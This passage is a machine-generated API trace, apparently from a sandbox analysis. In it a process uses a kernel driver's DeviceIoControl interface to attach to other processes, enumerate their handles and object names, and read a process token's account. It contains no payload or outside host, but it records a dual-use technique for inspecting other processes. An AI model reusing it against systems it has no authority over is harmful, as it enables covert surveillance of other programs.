AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030fcd10, HandleInformation=0x0) returned 0x0 [0104.024] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.024] PsReleaseProcessExitSynchronization () returned 0x2 [0104.024] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0104.024] ObQueryNameString (in: Object=0xfffffa80030fcd10, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.024] ObfDereferenceObject (Object=0xfffffa80030fcd10) returned 0x1 [0104.024] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.024] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.024] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.025] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0104.025] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.025] PsAcquireProcessExitSynchronization () returned 0x0 [0104.025] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0) [0104.025] ObReferenceObjectByHandle (in: Handle=0x1c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030fca70, HandleInformation=0x0) returned 0x0 [0104.025] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.025] PsReleaseProcessExitSynchronization () returned 0x2 [0104.025] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0104.025] ObQueryNameString (in: Object=0xfffffa80030fca70, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.025] ObfDereferenceObject (Object=0xfffffa80030fca70) returned 0x2 [0104.025] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.025] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.025] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.025] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0104.025] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.025] PsAcquireProcessExitSynchronization () returned 0x0 [0104.025] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0) [0104.025] ObReferenceObjectByHandle (in: Handle=0x1c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80030fc920, HandleInformation=0x0) returned 0x0 [0104.025] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.025] PsReleaseProcessExitSynchronization () returned 0x2 [0104.025] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0104.025] ObQueryNameString (in: Object=0xfffffa80030fc920, ObjectNameInfo=0xfffffa80024f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.025] ObfDereferenceObject (Object=0xfffffa80030fc920) returned 0x1 [0104.025] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.025] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.025] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.025] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.026] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.026] PsAcquireProcessExitSynchronization () returned 0x0 [0104.026] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0) [0104.026] ObReferenceObjectByHandle (in: Handle=0x20c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.026] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.026] PsReleaseProcessExitSynchronization () returned 0x2 [0104.026] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0104.026] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.026] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0104.026] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.026] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.026] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.026] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.026] PsLookupProcessByProcessId (in: ProcessId=0x294, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.026] PsAcquireProcessExitSynchronization () returned 0x0 [0104.026] KeStackAttachProcess (in: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800a76d690, ApcState=0xfffff88004f095d0) [0104.026] ObReferenceObjectByHandle (in: Handle=0x23c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.026] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.026] PsReleaseProcessExitSynchronization () returned 0x2 [0104.026] ObfDereferenceObject (Object=0xfffffa800a76d690) returned 0xad [0104.026] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.026] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0104.026] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.026] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.026] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x2c8) returned 0xc0 [0104.026] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.026] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80030fdb30, HandleInformation=0x0) returned 0x0 [0104.026] ObOpenObjectByPointer (in: Object=0xfffffa80030fdb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009f0) returned 0x0 [0104.026] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x102 [0104.026] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009f0, DesiredAccess=0x8, TokenHandle=0xfffffa80021bc440 | out: TokenHandle=0xfffffa80021bc440*=0xc8) returned 0x0 [0104.026] ZwClose (Handle=0xffffffff800009f0) returned 0x0 [0104.027] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.027] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.027] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.028] CloseHandle (hObject=0xc8) returned 1 [0104.028] CloseHandle (hObject=0xc0) returned 1 [0104.028] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.028] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0104.028] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.028] PsAcquireProcessExitSynchronization () returned 0x0 [0104.028] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.028] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003102070, HandleInformation=0x0) returned 0x0 [0104.029] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.029] PsReleaseProcessExitSynchronization () returned 0x2 [0104.029] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.029] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.029] ObfDereferenceObject (Object=0xfffffa8003102070) returned 0x1 [0104.029] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.029] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.029] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.029] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.029] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.029] PsAcquireProcessExitSynchronization () returned 0x0 [0104.029] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.029] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031063b0, HandleInformation=0x0) returned 0x0 [0104.029] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.029] PsReleaseProcessExitSynchronization () returned 0x2 [0104.029] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.029] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.029] ObfDereferenceObject (Object=0xfffffa80031063b0) returned 0x1 [0104.029] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.029] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.029] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.029] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0104.029] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.029] PsAcquireProcessExitSynchronization () returned 0x0 [0104.029] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.029] ObReferenceObjectByHandle (in: Handle=0x124, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800311aa30, HandleInformation=0x0) returned 0x0 [0104.029] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.029] PsReleaseProcessExitSynchronization () returned 0x2 [0104.029] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.029] ObQueryNameString (in: Object=0xfffffa800311aa30, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.030] ObfDereferenceObject (Object=0xfffffa800311aa30) returned 0x2 [0104.030] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.030] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.030] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.030] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0104.030] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.030] PsAcquireProcessExitSynchronization () returned 0x0 [0104.030] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.030] ObReferenceObjectByHandle (in: Handle=0x128, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800311acd0, HandleInformation=0x0) returned 0x0 [0104.030] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.030] PsReleaseProcessExitSynchronization () returned 0x2 [0104.030] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.030] ObQueryNameString (in: Object=0xfffffa800311acd0, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.030] ObfDereferenceObject (Object=0xfffffa800311acd0) returned 0x1 [0104.030] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.030] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.030] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.030] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3e, lpOverlapped=0x0) returned 1 [0104.030] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.030] PsAcquireProcessExitSynchronization () returned 0x0 [0104.030] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.030] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800311be90, HandleInformation=0x0) returned 0x0 [0104.030] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.030] PsReleaseProcessExitSynchronization () returned 0x2 [0104.031] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.031] ObQueryNameString (in: Object=0xfffffa800311be90, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.031] ObfDereferenceObject (Object=0xfffffa800311be90) returned 0x1 [0104.031] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.031] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.031] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.031] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0104.031] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.031] PsAcquireProcessExitSynchronization () returned 0x0 [0104.031] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.031] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003124d10, HandleInformation=0x0) returned 0x0 [0104.031] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.031] PsReleaseProcessExitSynchronization () returned 0x2 [0104.031] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.031] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.031] ObfDereferenceObject (Object=0xfffffa8003124d10) returned 0x1 [0104.031] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.031] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.031] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.031] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0104.031] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.031] PsAcquireProcessExitSynchronization () returned 0x0 [0104.031] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.031] ObReferenceObjectByHandle (in: Handle=0x154, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003124b80, HandleInformation=0x0) returned 0x0 [0104.031] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.031] PsReleaseProcessExitSynchronization () returned 0x2 [0104.031] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.031] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.031] ObfDereferenceObject (Object=0xfffffa8003124b80) returned 0x1 [0104.031] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.032] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.032] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.032] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xdc, lpOverlapped=0x0) returned 1 [0104.032] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.032] PsAcquireProcessExitSynchronization () returned 0x0 [0104.032] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.032] ObReferenceObjectByHandle (in: Handle=0x15c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800c0d0cb0, HandleInformation=0x0) returned 0x0 [0104.032] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.032] PsReleaseProcessExitSynchronization () returned 0x2 [0104.032] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.032] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.032] ObfDereferenceObject (Object=0xfffffa800c0d0cb0) returned 0x12 [0104.032] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.032] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.032] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.032] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.032] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.032] PsAcquireProcessExitSynchronization () returned 0x0 [0104.032] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.032] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800306e070, HandleInformation=0x0) returned 0x0 [0104.032] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.032] PsReleaseProcessExitSynchronization () returned 0x2 [0104.032] ObfDereferenceObject (Object=0xfffffa80030fdb30) returned 0x100 [0104.032] ObQueryNameString (in: Object=0xfffffa800306e070, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.032] ObfDereferenceObject (Object=0xfffffa800306e070) returned 0x2 [0104.032] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.032] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.033] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.033] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0104.033] PsLookupProcessByProcessId (in: ProcessId=0x2c8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.033] PsAcquireProcessExitSynchronization () returned 0x0 [0104.033] KeStackAttachProcess (in: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80030fdb30, ApcState=0xfffff88004f095d0) [0104.033] ObReferenceObjectByHandle (in: Handle=0x194, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003122070, HandleInformation=0x0) 